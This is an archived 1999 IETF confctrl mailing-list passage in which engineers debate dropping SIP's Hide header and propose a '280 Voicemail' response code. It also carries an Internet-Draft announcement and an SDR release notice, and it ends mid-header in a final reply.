Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38417)
 id <0FDP00G0112M24@firewall.mcit.com> for confctrl@ISI.EDU; Mon,
 21 Jun 1999 20:04:11 +0000 (GMT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FDP00KR212I7F@firewall.mcit.com>; Mon,
 21 Jun 1999 20:03:54 +0000 (GMT)
Received: from omzmta02.mcit.com (omzmta02.mcit.com [166.37.194.120])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id UAA09609; Mon,
 21 Jun 1999 20:00:13 +0000 (GMT)
Received: from wcom.com ([166.33.132.105])
 by omzmta02.mcit.com (InterMail v03.02.05 118 120)
 with ESMTP id <19990621200353.DYDI642@wcom.com>; Mon,
 21 Jun 1999 20:03:53 +0000
Date: Mon, 21 Jun 1999 15:03:51 -0500
From: Alan Johnston <alan.johnston@wcom.com>
Subject: Re: Hide interaction with Record-Route
To: Lars Berggren <lars.berggren@intertex.se>
Cc: "confctrl@ISI.EDU" <confctrl@ISI.EDU>, jdrosen@bell-labs.com
Message-id: <376E9AA7.7FF89FC0@wcom.com>
MIME-version: 1.0
X-Mailer: Mozilla 4.51 [en] (Win95; U)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en
References: <376901DE.77113D5E@wcom.com> <37699855.1121E676@dnrc.bell-labs.com>
 <376A0C87.38EAEB4E@intertex.se> <376B2625.38E87D29@dnrc.bell-labs.com>
 <376E25DB.51DD68D5@intertex.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>From the responses seen to date, it seems:

1. There is interest in the SIP spec support for the Hide header and
encrypted Via fields.

2. The SIP spec should be changed to permit encrypted Record-Route and
Route fields with the "hidden" parameter in much the same way encrypted
Via fields are allowed.

3. Proper behavior of a server which encrypts a Via header is to also
encrypt an associated entry in a Record-Route header if present.  The
server will also need to include itself in the Record-Route header to
ensure it remains in the path for future messages using the Route header
with the encrypted field.

Any other issues or comments?

Thanks,
Alan Johnston
MCI WorldCom
314-342-7360

Lars Berggren wrote:
> 
> Jonathan Rosenberg wrote:
> >
> ...
> > >
> > > I think Via hiding is a very useful feature for NATs, where the task is
> > > to hide local addresses.
> >
> > The task of a NAT is not to hide these addresses, but to translate them
> > because they aren't globally routable. Fortunately, the Route and Via
> > headers don't need to contain globally routable addresses, since they
> > are interpreted only by hosts within the same context where the
> > addresses are valid.
> 
> Yes, you are right, the primary task is to translate addresses, but in
> addition, there may be reasons to hide addresses.
> 
> >
> > Even if a nat did wish to hide the internal addresses for security,
> > there are other ways to do this besides the hiding mechanism. The NAT
> > could simply remove both the Route and Via headers so far, and store
> > them in a table indexed by the transaction and Call-ID. The forwarded
> > request then looks as if it was originated from the NAT. When the
> > response comes, the Via and Record-Routes are added back in as the
> > response is forwarded. Same for requests in the reverse direction - the
> > Route headers would be placed in the request based on the Record-Route
> > headers in the table. Unfortunately, the NAT has to hold these entries
> > for a while (until the call is over). But, this is the same amount of
> > time a NAT using the hiding mechanism would need to remember how to
> > decrypt the Record-Route headers. These headers cannot just be encrypted
> > as is; they must be encrypted with some random salt otherwise the path
> > can still be guessed. Thus, to decrypt the Route headers in requests in
> > the reverse direction, the proxy must remember what random number it
> > used, for the duration of the call.
> 
> This is correct. However I think it is less resource consuming to store
> that random number than storing Via- and Route-lists and this is the
> reason why a nat might want to do so.
> 
> >
> > The SDP will anyway contain an IP address and port for media that cannot
> > be hidden.
> 
> Yes, they can't be hidden and here is where the translation has to be
> done. Since the NAT has to keep state for the translation during the
> call, there is no need to hide the SDP addresses in the SIP message.
> /Lars
> 
> >
> > -Jonathan R.
> > --
> > Jonathan D. Rosenberg                       Lucent Technologies
> > Member of Technical Staff                   101 Crawfords Corner Rd.
> > High Speed Networks Research                Holmdel, NJ 07733
> > FAX: (732) 834-5379                         Rm. 4C-526
> > EMAIL: jdrosen@bell-labs.com
> > URL: http://www.cs.columbia.edu/~jdrosen
> 
> --
> Lars Berggren       <lars.berggren@intertex.se>
> Intertex Data AB    tel: +46-8-6282828
> Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Mon Jun 21 15:13:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA03791
	for confctrl-outgoing; Mon, 21 Jun 1999 15:13:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA03786
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 15:13:15 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA09316
	for <confctrl@ISI.EDU>; Mon, 21 Jun 1999 15:13:14 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA05825;
	Mon, 21 Jun 1999 18:12:49 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id XAA14310;
	Mon, 21 Jun 1999 23:12:59 +0100 (BST)
Message-ID: <376EB8EB.A117905B@hplb.hpl.hp.com>
Date: Mon, 21 Jun 1999 23:12:59 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Alan Johnston <alan.johnston@wcom.com>
CC: Lars Berggren <lars.berggren@intertex.se>,
        "confctrl@ISI.EDU" <confctrl@ISI.EDU>, jdrosen@bell-labs.com
Subject: Re: Hide interaction with Record-Route
References: <376901DE.77113D5E@wcom.com> <37699855.1121E676@dnrc.bell-labs.com>
	 <376A0C87.38EAEB4E@intertex.se> <376B2625.38E87D29@dnrc.bell-labs.com>
	 <376E25DB.51DD68D5@intertex.se> <376E9AA7.7FF89FC0@wcom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Alan Johnston wrote:
> 
> >From the responses seen to date, it seems:
> 
> 1. There is interest in the SIP spec support for the Hide header and
> encrypted Via fields.

I guess silence probably signifies a lack of strong feelings. Personally
I'd be happy to see Hide disappear. It sounds like the rules for how to
treat this header is quickly becoming rather complicated and IMHO that's
a good reason for dropping it, especially if we think it may not really
be needed.

> 
> 2. The SIP spec should be changed to permit encrypted Record-Route and
> Route fields with the "hidden" parameter in much the same way encrypted
> Via fields are allowed.
> 
> 3. Proper behavior of a server which encrypts a Via header is to also
> encrypt an associated entry in a Record-Route header if present.  The
> server will also need to include itself in the Record-Route header to
> ensure it remains in the path for future messages using the Route header
> with the encrypted field.
> 
> Any other issues or comments?
> 
> Thanks,
> Alan Johnston
> MCI WorldCom
> 314-342-7360
> 
-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Mon Jun 21 15:36:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA04991
	for confctrl-outgoing; Mon, 21 Jun 1999 15:36:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA04986
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 15:36:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA11071
	for <confctrl@isi.edu>; Mon, 21 Jun 1999 15:36:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Jun 21 18:34:31 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.62])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA06778;
	Mon, 21 Jun 1999 18:34:28 -0400 (EDT)
Message-ID: <376EBE1E.BBC1A358@dnrc.bell-labs.com>
Date: Mon, 21 Jun 1999 18:35:10 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: Alan Johnston <alan.johnston@wcom.com>,
        Lars Berggren <lars.berggren@intertex.se>,
        "confctrl@ISI.EDU" <confctrl@ISI.EDU>, jdrosen@bell-labs.com
Subject: Re: Hide interaction with Record-Route
References: <376901DE.77113D5E@wcom.com> <37699855.1121E676@dnrc.bell-labs.com>
		 <376A0C87.38EAEB4E@intertex.se> <376B2625.38E87D29@dnrc.bell-labs.com>
		 <376E25DB.51DD68D5@intertex.se> <376E9AA7.7FF89FC0@wcom.com> <376EB8EB.A117905B@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> Alan Johnston wrote:
> >
> > >From the responses seen to date, it seems:
> >
> > 1. There is interest in the SIP spec support for the Hide header and
> > encrypted Via fields.
> 
> I guess silence probably signifies a lack of strong feelings. Personally
> I'd be happy to see Hide disappear. It sounds like the rules for how to
> treat this header is quickly becoming rather complicated and IMHO that's
> a good reason for dropping it, especially if we think it may not really
> be needed.

I'm also unconvinced. It seems that the same effect can be achieved by
stripping the Record-Route/Route/Contacts and re-attaching them if
needed, as I pointed out in my last mail. Lars is correct in that it is
probably more efficient (storage wise, NOT computation wise) to use the
Hiding mechanism. But, given the complexity (I'm not convinced we've
fully worked it out yet), its not clear its worth it.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 22 06:09:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA00902
	for confctrl-outgoing; Tue, 22 Jun 1999 06:09:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA00897
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 06:09:24 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA05202
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 06:09:23 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03617;
	Tue, 22 Jun 1999 09:08:50 -0400 (EDT)
Message-Id: <199906221308.JAA03617@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-qos-00.txt
Date: Tue, 22 Jun 1999 09:08:49 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Establishing QoS and Security Preconditions for SDP 
                          Sessions
	Author(s)	: J. Rosenberg, H. Schulzrinne, S. Donovan
	Filename	: draft-ietf-mmusic-sdp-qos-00.txt
	Pages		: 13
	Date		: 21-Jun-99
	
This document discusses how network QoS and security establishment
can be made a precondition to participation in sessions described by
SDP. These preconditions require that the participant reserve network
resources (or create a secure media channel) before continuing with
the session. In the case of SIP, this effectively means that the
'phone won't ring' until the preconditions are met. These
preconditions are described by new SDP parameters, defined in this
document. The preconditions can be defined independently for each
media stream.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-qos-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-qos-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-qos-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990621101607.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-qos-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-qos-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990621101607.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Jun 22 07:14:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA02813
	for confctrl-outgoing; Tue, 22 Jun 1999 07:14:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA02808
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 07:14:26 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09185
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 07:14:25 -0700 (PDT)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38416)
 id <0FDQ00401FB5B2@firewall.mcit.com> for confctrl@ISI.EDU; Tue,
 22 Jun 1999 14:09:16 +0000 (GMT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FDQ002LRFAFVN@firewall.mcit.com> for confctrl@ISI.EDU; Tue,
 22 Jun 1999 14:08:39 +0000 (GMT)
Received: from omzmta03.mcit.com (omzmta03.mcit.com [166.37.194.121])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id OAA07179 for <confctrl@ISI.EDU>;
 Tue, 22 Jun 1999 14:04:59 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omzmta03.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990622140838.FZEQ985@localHost> for <confctrl@ISI.EDU>; Tue,
 22 Jun 1999 14:08:38 +0000
Date: Tue, 22 Jun 1999 09:03 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: Hide interaction with Record-Route
To: "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Message-id: <19990622140838.FZEQ985@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 OK, so far I have seen one person (Lars) suggest Hide is useful. 
Others have questioned if it should be dropped, suggesting there are
other ways to conceal addresses.  My vote is to drop it to reduce the
complexity of SIP.  I call for those strongly in favor of keeping Hide
to speak up so we can get an idea how many people want it.

John Hearty
MCI Worldcom



> > >From the responses seen to date, it seems:
> >
> > 1. There is interest in the SIP spec support for the Hide header and
> > encrypted Via fields.
> 
> I guess silence probably signifies a lack of strong feelings. Personally
> I'd be happy to see Hide disappear. It sounds like the rules for how to
> treat this header is quickly becoming rather complicated and IMHO that's
> a good reason for dropping it, especially if we think it may not really
> be needed.

I'm also unconvinced. It seems that the same effect can be achieved by
stripping the Record-Route/Route/Contacts and re-attaching them if
needed, as I pointed out in my last mail. Lars is correct in that it is
probably more efficient (storage wise, NOT computation wise) to use the
Hiding mechanism. But, given the complexity (I'm not convinced we've
fully worked it out yet), its not clear its worth it.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 22 07:22:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA03145
	for confctrl-outgoing; Tue, 22 Jun 1999 07:22:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03140
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 07:22:54 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09664
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 07:22:53 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id JAA21173
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 09:22:22 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id JAA09821
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 09:22:22 -0500 (CDT)
Received: from b04a42.exu.ericsson.se (b04a42.exu.ericsson.se [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA08253 for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 09:22:20 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a42.exu.ericsson.se (8.9.1/8.9.1) id JAA05591
	for confctrl@ISI.EDU; Tue, 22 Jun 1999 09:22:18 -0500 (CDT)
Date: Tue, 22 Jun 1999 09:22:18 -0500 (CDT)
Message-Id: <199906221422.JAA05591@b04a42.exu.ericsson.se>
To: confctrl@ISI.EDU
Subject: Re: Hide interaction with Record-Route
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> 
> Alan Johnston wrote:
> > 
> > >From the responses seen to date, it seems:
> > 
> > 1. There is interest in the SIP spec support for the Hide header and
> > encrypted Via fields.
> 
> I guess silence probably signifies a lack of strong feelings. Personally
> I'd be happy to see Hide disappear. It sounds like the rules for how to
> treat this header is quickly becoming rather complicated and IMHO that's
> a good reason for dropping it, especially if we think it may not really
> be needed.
> 
> -- 
> Anders Kristensen <ak@hplb.hpl.hp.com>,
> http://www-uk.hpl.hp.com/people/ak/
> Hewlett-Packard Labs, Bristol, UK
> 

I concur. Given the growing complexity and the questionable value of the
Hide: header, I say drop it. It gives a false sense of security and can 
just as easily be achieved by stripping the Route/Record-Route headers. 

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Tue Jun 22 07:24:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA03174
	for confctrl-outgoing; Tue, 22 Jun 1999 07:24:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03169
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 07:24:04 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA09716
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 07:24:03 -0700 (PDT)
Received: from shaggy.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.27514-0@bells.cs.ucl.ac.uk>; Tue, 22 Jun 1999 15:23:53 +0100
Message-ID: <376F9C95.40F9914A@cs.ucl.ac.uk>
Date: Tue, 22 Jun 1999 15:24:21 +0100
From: Kristian Hasler <K.Hasler@cs.ucl.ac.uk>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: release@cs.ucl.ac.uk, confctrl@ISI.EDU
CC: okir@caldera.de, sdr@cs.ucl.ac.uk
Subject: SDR 2.6.2 Release
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A new release of SDR for Windows, Solaris & Irix is available from the
UCL Networked Multimedia Research Group software web page: 
http://www-mice.cs.ucl.ac.uk/multimedia/software/

The release fixes a serious security problem, previously reported in the
following email:
http://www-mice.cs.ucl.ac.uk/multimedia/software/sdr/security.txt
Thanks again to Olaf Kirch for bringing this problem to our attention.

Note: Public key cryptography has been disabled in this version but will
be available in an 'experimental' version in the near future.

Bug reports should be sent to: sdr@cs.ucl.ac.uk

From confctrl-owner  Tue Jun 22 08:39:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA05773
	for confctrl-outgoing; Tue, 22 Jun 1999 08:39:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05768
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 08:39:23 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15382
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 08:39:22 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA29239
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 10:38:57 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA22659
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 10:38:51 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA14401 for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 10:38:49 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA15437
	for confctrl@ISI.EDU; Tue, 22 Jun 1999 10:38:46 -0500 (CDT)
Message-Id: <199906221538.KAA15437@b04a24.exu.ericsson.se>
Subject: SIP, voicemail, and UPT
To: confctrl@ISI.EDU
Date: Tue, 22 Jun 1999 10:38:46 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I'd like to get a feel for what the group thinks about the following.

Most UPT services (universal personal telephone number -- the
"dial one number and it'll find me" services) will search
through a list of destinations until they find a number that answers. 
They don't care *what* answers; any answer will terminate the search.

Since many numbers have an automatic roll-over to voicemail, an
answering machine, a pager, etc., these services have been
much less useful than they potentially could be.

How would you feel about an extension to SIP -- say, a "280 Voicemail"
response code -- which would help address this problem? Proxies
which implement UPT services could then choose to continue
searching after a 280 response. Since it's a 200-class response,
any clients which don't understand it are already required to
treat it as success, so nothing breaks, and no further requirements
are placed on clients.

(Thanks to Dean Willis for raising this issue originally).

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jun 22 09:39:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA08423
	for confctrl-outgoing; Tue, 22 Jun 1999 09:39:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08418
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 09:39:16 -0700 (PDT)
Received: from paleale.cisco.com (paleale.cisco.com [171.69.95.88])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21621
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 09:39:15 -0700 (PDT)
Received: from OranLT (oran-home-isdn.cisco.com [171.69.210.10]) by paleale.cisco.com (8.8.4-Cisco.1/8.6.5) with SMTP id JAA05069; Tue, 22 Jun 1999 09:38:41 -0700 (PDT)
From: "David Oran" <oran@cisco.com>
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>, <confctrl@ISI.EDU>
Subject: RE: SIP, voicemail, and UPT
Date: Tue, 22 Jun 1999 12:38:27 -0400
Keywords: IETF
Message-ID: <NBBBIFCAKKOPNMMKHHEFCEBOFBAA.oran@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <199906221538.KAA15437@b04a24.exu.ericsson.se>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It might be better to handle this with Caller/Callee preferences and CPL
rather than start encoding specific service semantics into the protocol
operation itself.

For example, a voicemail system could SIP register with a property saying it
was a voicemail system, and callers could indicate their willingness to be
connected to a voicemail system in their preferences. CPL could sort out the
more complicated cases.

One important case that any solution should handle is the "which voicemail"
problem
(I think I noted this on the list about 6 months ago). If Mr. Big set call
forwarding to his phone to his secretary, and his secretary in turn enables
voicemail pickup, whose voicemail should the caller get? Mr. Big's or Mr.
Big's secretary?

Dave.

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Adam B. Roach
> Sent: Tuesday, June 22, 1999 11:39 AM
> To: confctrl@ISI.EDU
> Subject: SIP, voicemail, and UPT
>
>
>
> I'd like to get a feel for what the group thinks about the following.
>
> Most UPT services (universal personal telephone number -- the
> "dial one number and it'll find me" services) will search
> through a list of destinations until they find a number that answers.
> They don't care *what* answers; any answer will terminate the search.
>
> Since many numbers have an automatic roll-over to voicemail, an
> answering machine, a pager, etc., these services have been
> much less useful than they potentially could be.
>
> How would you feel about an extension to SIP -- say, a "280 Voicemail"
> response code -- which would help address this problem? Proxies
> which implement UPT services could then choose to continue
> searching after a 280 response. Since it's a 200-class response,
> any clients which don't understand it are already required to
> treat it as success, so nothing breaks, and no further requirements
> are placed on clients.
>
> (Thanks to Dean Willis for raising this issue originally).
>
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E.
> Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX
> 75081 USA
>


From confctrl-owner  Tue Jun 22 10:08:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA09972
	for confctrl-outgoing; Tue, 22 Jun 1999 10:08:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA09967
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 10:08:03 -0700 (PDT)
Received: from wombo.com (www.wombo.com [199.108.92.215])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA25345
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 10:08:02 -0700 (PDT)
Received: from cs.columbia.edu (194.188.251.231) by wombo.com with
 ESMTP (Eudora Internet Mail Server 1.1.2); Tue, 22 Jun 1999 10:10:08 -0700
Message-ID: <37701866.B8002358@cs.columbia.edu>
Date: Tue, 22 Jun 1999 19:12:38 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.51 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
